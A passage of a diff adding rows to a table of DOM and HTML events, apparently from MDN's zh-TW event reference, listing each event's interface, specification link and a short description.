+   <td>An element has lost focus (use {{event("blur")}} or {{event("focusout")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/DOM/Mutation_events">DOMNodeInserted</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInserted">DOM L3</a></td>
+   <td>A node has been added as a child of another node (use <a href="/zh-TW/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInsertedIntoDocument">DOM L3</a></td>
+   <td>A node has been inserted into the document (use <a href="/zh-TW/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/DOM/Mutation_events">DOMNodeRemoved</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemoved">DOM L3</a></td>
+   <td>A node has been removed from its parent node (use <a href="/zh-TW/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemovedFromDocument">DOM L3</a></td>
+   <td>A node has been removed from the document (use <a href="/zh-TW/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/DOM/Mutation_events">DOMSubtreeModified</a></code> {{deprecated_inline}}</td>
+   <td>{{domxref("MutationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMSubtreeModified">DOM L3</a></td>
+   <td>A change happened in the document (use <a href="/zh-TW/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("downloading")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time.</td>
+  </tr>
+  <tr>
+   <td>{{event("drag")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drag">HTML5</a></td>
+   <td>An element or text selection is being dragged (every 350ms).</td>
+  </tr>
+  <tr>
+   <td>{{event("dragend")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragend">HTML5</a></td>
+   <td>A drag operation is being ended (by releasing a mouse button or hitting the escape key).</td>
+  </tr>
+  <tr>
+   <td>{{event("dragenter")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragenter">HTML5</a></td>
+   <td>A dragged element or text selection enters a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{event("dragleave")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragleave">HTML5</a></td>
+   <td>A dragged element or text selection enters a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{event("dragover")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragover">HTML5</a></td>
+   <td>An element or text selection is being dragged over a valid drop target (every 350ms).</td>
+  </tr>
+  <tr>
+   <td>{{event("dragstart")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragstart">HTML5</a></td>
+   <td>The user starts dragging an element or text selection.</td>
+  </tr>
+  <tr>
+   <td>{{event("drop")}}</td>
+   <td>{{domxref("DragEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drop">HTML5</a></td>
+   <td>An element is dropped on a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{event("durationchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-durationchange">HTML5 media</a></td>
+   <td>The <code>duration</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("emptied")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-emptied">HTML5 media</a></td>
+   <td>The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the <a href="/zh-TW/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> method is called to reload it.</td>
+  </tr>
+  <tr>
+   <td>{{event("ended")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ended">HTML5 media</a></td>
+   <td>Playback has stopped because the end of the media was reached.</td>
+  </tr>
+  <tr>
+   <td>{{event("ended_(Web_Audio)", "ended")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName("Web Audio API")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{event("endEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/zh-TW/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element ends.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error">DOM L3</a></td>
+   <td>A resource failed to load.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-error">XMLHttpRequest</a></td>
+   <td>Progression has failed.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>An error occurred while downloading the cache manifest or updating the content of the application.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been closed with prejudice (some data couldn't be sent for example).</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>An event source connection has been failed.</td>
+  </tr>
+  <tr>
+   <td>{{event("error")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>A request caused an error and failed.</td>
+  </tr>
+  <tr>
+   <td>{{event("focus")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focus">DOM L3</a></td>
+   <td>An element has received focus (does not bubble).</td>
+  </tr>
+  <tr>
+   <td>{{event("focusin")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusIn">DOM L3</a></td>
+   <td>An element is about to receive focus (bubbles).</td>
+  </tr>
+  <tr>
+   <td>{{event("focusout")}}</td>
+   <td>{{domxref("FocusEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusout">DOM L3</a></td>
+   <td>An element is about to loose focus (bubbles).</td>
+  </tr>
+  <tr>
+   <td>{{event("fullscreenchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>An element was turned to fullscreen mode or back to normal mode.</td>
+  </tr>
+  <tr>
+   <td>{{event("fullscreenerror")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
+   <td>It was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.</td>
+  </tr>
+  <tr>
+   <td>{{event("gamepadconnected")}}</td>
+   <td>{{domxref("GamepadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/gamepad/#the-gamepadconnected-event">Gamepad</a></td>
+   <td>A gamepad has been connected.</td>
+  </tr>
+  <tr>
+   <td>{{event("gamepaddisconnected")}}</td>
+   <td>{{domxref("GamepadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/gamepad/#the-gamepaddisconnected-event">Gamepad</a></td>
+   <td>A gamepad has been disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{event("hashchange")}}</td>
+   <td>{{domxref("HashChangeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-hashchange">HTML5</a></td>
+   <td>The fragment identifier of the URL has changed (the part of the URL after the #).</td>
+  </tr>
+  <tr>
+   <td>{{event("input")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/forms.html#common-event-behaviors">HTML5</a></td>
+   <td>The value of an element changes or the content of an element with the attribute <a href="/zh-TW/docs/DOM/Element.contentEditable">contenteditable</a> is modified.</td>
+  </tr>
+  <tr>
+   <td>{{event("invalid")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#constraint-validation">HTML5</a></td>
+   <td>A submittable element has been checked and doesn't satisfy its constraints.</td>
+  </tr>
+  <tr>
+   <td>{{event("keydown")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown">DOM L3</a></td>
+   <td>A key is pressed down.</td>
+  </tr>
+  <tr>
+   <td>{{event("keypress")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress">DOM L3</a></td>
+   <td>A key is pressed down and that key normally produces a character value (use input instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("keyup")}}</td>
+   <td>{{domxref("KeyboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keyup">DOM L3</a></td>
+   <td>A key is released.</td>
+  </tr>
+  <tr>
+   <td>{{event("levelchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The <code>level</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("load")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></td>
+   <td>A resource and its dependent resources have finished loading.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-load">XMLHttpRequest</a></td>
+   <td>Progression has been successful.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadeddata")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadeddata">HTML5 media</a></td>
+   <td>The first frame of the media has finished loading.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadedmetadata")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadedmetadata">HTML5 media</a></td>
+   <td>The metadata has been loaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("loadend")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadend">XMLHttpRequest</a></td>
+   <td>Progress has stopped (after "error", "abort" or "load" have been dispatched).</td>
+  </tr>
+  <tr>
+   <td>{{event("loadstart")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress </a><span>and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadstart">XMLHttpRequest</a></td>
+   <td>Progress has begun.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/message_websocket">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A message is received through a WebSocket.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/message_webworker">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/workers/#communicating-with-a-dedicated-worker">Web Workers</a></td>
+   <td>A message is received from a Web Worker.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/message_webmessaging">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/webmessaging/">Web Messaging</a></td>
+   <td>A message is received from a child (i)frame or a parent window.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/message_serversentevents">message</a></code></td>
+   <td>{{domxref("MessageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>A message is received through an event source.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousedown")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousedown">DOM L3</a></td>
+   <td>A pointing device button (usually a mouse) is pressed on an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseenter")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseenter">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseleave")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseleave">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousemove")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousemove">DOM L3</a></td>
+   <td>A pointing device is moved over an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseout")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseout">DOM L3</a></td>
+   <td>A pointing device is moved off the element that has the listener attached or off one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseover")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseover">DOM L3</a></td>
+   <td>A pointing device is moved onto the element that has the listener attached or onto one of its children.</td>
+  </tr>
+  <tr>
+   <td>{{event("mouseup")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseup">DOM L3</a></td>
+   <td>A pointing device button is released over an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("noupdate")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The manifest hadn't changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("obsolete")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The manifest was found to have become a 404 or 410 page, so the application cache is being deleted.</td>
+  </tr>
+  <tr>
+   <td>{{event("offline")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-offline">HTML5 offline</a></td>
+   <td>The browser has lost access to the network.</td>
+  </tr>
+  <tr>
+   <td>{{event("online")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-online">HTML5 offline</a></td>
+   <td>The browser has gained access to the network (but particular websites might be unreachable).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/open_websocket">open</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been established.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/open_serversentevents">open</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+   <td>An event source connection has been established.</td>
+  </tr>
+  <tr>
+   <td>{{event("orientationchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/screen-orientation/">Screen Orientation</a></td>
+   <td>The orientation of the device (portrait/landscape) has changed</td>
+  </tr>
+  <tr>
+   <td>{{event("pagehide")}}</td>
+   <td>{{domxref("PageTransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pagehide">HTML5</a></td>
+   <td>A session history entry is being traversed from.</td>
+  </tr>
+  <tr>
+   <td>{{event("pageshow")}}</td>
+   <td>{{domxref("PageTransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pageshow">HTML5</a></td>
+   <td>A session history entry is being traversed to.</td>
+  </tr>
+  <tr>
+   <td>{{event("paste")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#paste-event">Clipboard</a></td>
+   <td>Data has been transfered from the system clipboard to the document.</td>
+  </tr>
+  <tr>
+   <td>{{event("pause")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-pause">HTML5 media</a></td>
+   <td>Playback has been paused.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerlockchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>The pointer was locked or released.</td>
+  </tr>
+  <tr>
+   <td>{{event("pointerlockerror")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+   <td>It was impossible to lock the pointer for technical reasons or because the permission was denied.</td>
+  </tr>
+  <tr>
+   <td>{{event("play")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-play">HTML5 media</a></td>
+   <td>Playback has begun.</td>
+  </tr>
+  <tr>
+   <td>{{event("playing")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-playing">HTML5 media</a></td>
+   <td>Playback is ready to start after having been paused or delayed due to lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{event("popstate")}}</td>
+   <td>{{domxref("PopStateEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-popstate">HTML5</a></td>
+   <td>A session history entry is being navigated to (in certain cases).</td>
+  </tr>
+  <tr>
+   <td>{{event("progress")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-progress">XMLHttpRequest</a></td>
+   <td>In progress.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/progress_(appcache_event)">progress</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The user agent is downloading resources listed by the manifest.</td>
+  </tr>
+  <tr>
+   <td>{{event("ratechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ratechange">HTML5 media</a></td>
+   <td>The playback rate has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("readystatechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><span>HTML5 <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-readystatechange">XMLHttpRequest</a></td>
+   <td>The readyState attribute of a document has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("repeatEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/zh-TW/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element is repeated.</td>
+  </tr>
+  <tr>
+   <td>{{event("reset")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-0#resetting-a-form">HTML5</a></td>
+   <td>A form is reset.</td>
+  </tr>
+  <tr>
+   <td>{{event("resize")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize">DOM L3</a></td>
+   <td>The document view has been resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("scroll")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll">DOM L3</a></td>
+   <td>The document view or an element has been scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{event("seeked")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeked">HTML5 media</a></td>
+   <td>A <em>seek</em> operation completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("seeking")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeking">HTML5 media</a></td>
+   <td>A <em>seek</em> operation began.</td>
+  </tr>
+  <tr>
+   <td>{{event("select")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-select">DOM L3</a></td>
+   <td>Some text is being selected.</td>
+  </tr>
+  <tr>
+   <td>{{event("show")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/interactive-elements.html#context-menus">HTML5</a></td>
+   <td>A contextmenu event was fired on/bubbled to an element that has a <a href="/zh-TW/docs/DOM/element.contextmenu">contextmenu</a> attribute</td>
+  </tr>
+  <tr>
+   <td>{{event("stalled")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-stalled">HTML5 media</a></td>
+   <td>The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
+  </tr>
+  <tr>
+   <td>{{event("storage")}}</td>
+   <td>{{domxref("StorageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/webstorage/#the-storage-event">Web Storage</a></td>
+   <td>A storage area (<a href="/zh-TW/docs/DOM/Storage#localStorage">localStorage</a> or <a href="/zh-TW/docs/DOM/Storage#sessionStorage">sessionStorage</a>) has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("submit")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-algorithm">HTML5</a></td>
+   <td>A form is submitted.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/zh-TW/docs/Web/Reference/Events/success_indexedDB">success</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>A request successfully completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("suspend")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-suspend">HTML5 media</a></td>
+   <td>Media data loading has been suspended.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGAbort")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>Page loading has been stopped before the <a href="/zh-TW/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGError")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An error has occurred before the <a href="/zh-TW/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGLoad")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/zh-TW/docs/SVG">SVG</a> document has been loaded and parsed.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGResize")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/zh-TW/docs/SVG">SVG</a> document is being resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGScroll")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/zh-TW/docs/SVG">SVG</a> document is being scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGUnload")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
